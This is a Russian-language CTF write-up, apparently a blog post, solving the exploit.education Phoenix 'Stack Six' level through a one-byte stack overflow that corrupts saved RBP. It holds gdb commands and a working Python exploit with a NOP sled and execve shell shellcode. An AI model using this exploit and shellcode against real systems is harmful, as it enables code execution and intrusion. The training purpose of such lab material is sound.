Изучение PWN #7
МихаилПолезная информация по ИБ и разборы задачек CTF.
Предыдущая задача - Изучение PWN #6.
Седьмая задача с exploit.education, она же - последняя из блока задач по эксплуатации уязвимостей на стеке - Stack Six. После нее порешаем CTF-таски по пывну с codeby.games
Исходники:
char *what = GREET;
char *greet(char *who) {
char buffer[128];
int maxSize;
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
return strdup(buffer);
}
int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);
#ifdef NEWARCH
if (argv[1]) {
what = argv[1];
}
#endif
ptr = getenv("ExploitEducation");
if (NULL == ptr) {
errx(1, "Please specify an environment variable called ExploitEducation");
}
printf("%s\n", greet(ptr));
return 0;
}
В этом уровне необходимо произвести one-byte buffer overflow. Код читает переменную окружения ExploitEducation и передает ее значение в функцию greet в переменную who. Затем копируется GREET-сообщение: "Welcome, I am pleased to meet you". Проверяется размер вводимого значения ( maxSize < 128). Далее копируется введенное значение в адрес (buffer + 34), где 34 - длина GREET-сообщения.
Если размер введенного значения равен 127, буфер переполнится и перезапишет 34 байта. Таким образом, можно записать 34 + 127 = 161 байт. Однако, этого недостаточно для перезаписи адреса возврата и перенаправления выполнения кода. Мы сможем перезаписать только младший байт регистра RBP.
Модифицированный RBP будет использован для восстановления RSP в конце функции main, после чего произойдет переход к адресу возврата. Идея эксплойта заключается в изменении регистра RBP так, чтобы он указывал на адрес, где RBP+8(адрес возврата функции main) будет указывать на переменную окружения ExploitEducation.
export ExploitEducation=$(python -c "print 'A'*161") gdb -q /opt/phoenix/amd64/stack-six disas greet b *greet+133 r info registers rbp x/22xg $rbp-0xa0


Для получения адреса ExploitEducation используем grep:

Адрес вводимых данных начинается с 0x7fffffffeedd, но реальный адрес начинается после =: 0x7fffffffeedd + len("ExploitEducation=") = 0x7fffffffeeee. Таким образом, адрес возврата должен быть между 0x7fffffffeeee и 0x7fffffffeeee+126. Поскольку можно изменить только последний байт RBP, значение может быть 0x7fffffffe501 и 0x7fffffffe5ff. Установим брейкпоинт в конце main и посмотрим, есть ли подходящий адрес в этом диапазоне.
disas main b *main+91 r x/32xg 0x7fffffffe500

Найден адрес 0x7fffffffeeed по адресу 0x7fffffffe588.Переписываем RBP так, чтобы он был равен 0x7fffffffe580. Инструкция leave перенесет значение RBP в RSP и поместит верхнее значение стека (по адресу 0x7ffffffffe580) в RBP. Затем ret переместит следующее значение в RIP (по адресу 0x7fffffffe580).
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' buff = "" buff += '\x90' * 20 # NOP sled buff += shellcode buff += 'A' * (161 - len(buff)) buff += '\x80' print(buff)
Идея данного эксплойта в том, чтобы переписать RBP так, чтобы он указывал на адрес, где RBP+8 - адрес нашего шеллкода, так чтобы в конце вызова функции RIP указывал на этот адрес.
export ExploitEducation=`python exploit.py` gdb -q ./stack-six r
Получаем shell:

Следующее задание - Format Zero.